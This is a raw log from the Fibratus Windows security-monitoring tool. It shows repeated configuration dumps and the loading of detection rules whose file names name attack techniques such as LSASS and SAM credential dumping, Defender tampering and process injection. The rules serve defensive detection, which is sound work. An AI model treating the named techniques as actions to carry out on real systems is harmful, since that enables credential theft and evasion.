+ pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false enabled=>false excluded-files=>[] skip-allocs=>false scan-timeout=>10s skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T16:51:50+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:51:52+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:52:14+01:00 level=error msg=unable to parse PE exports for module [C:\Windows\System32\wbem\ATL.dll]: open C:\Windows\System32\wbem\ATL.dll: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-20T16:52:32+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:52:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:52:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:52:52+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T16:52:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:52:53+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T16:52:53+01:00 level=info msg=bootstrapping with pid 8100. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T16:52:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false to=>[] content-type=>text/html port=>25] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-thread=>true enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false max-buffers=>36 enable-dns=>false enable-fileio=>true enable-registry=>true buffer-size=>512 min-buffers=>16 enable-handle=>false enable-image=>true enable-threadpool=>false stack-enrichment=>true flush-interval=>1s enable-vamap=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 max-size=>100 max-age=>0 level=>info log-stdout=>true] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ template-name=>fibratus sniff=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck-interval=>10s healthcheck=>true index-name=>fibratus trace-log=>false flush-period=>1s enabled=>false healthcheck-timeout=>5s bulk-workers=>1] amqp=>[ delivery-mode=>transient tls-insecure-skip-verify=>false enabled=>false timeout=>5s vhost=>/ url=>amqp://localhost:5672 passive=>false exchange=>fibratus exchange-type=>topic routing-key=>fibratus durable=>false] http=>[ enabled=>false enable-gzip=>false method=>POST timeout=>5s serializer=>json endpoints=>[] tls-insecure-skip-verify=>false]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false skip-allocs=>false skip-registry=>false excluded-procs=>[] scan-timeout=>10s fastscan=>true skip-files=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T16:52:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:52:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:53:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:53:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:53:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:53:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info 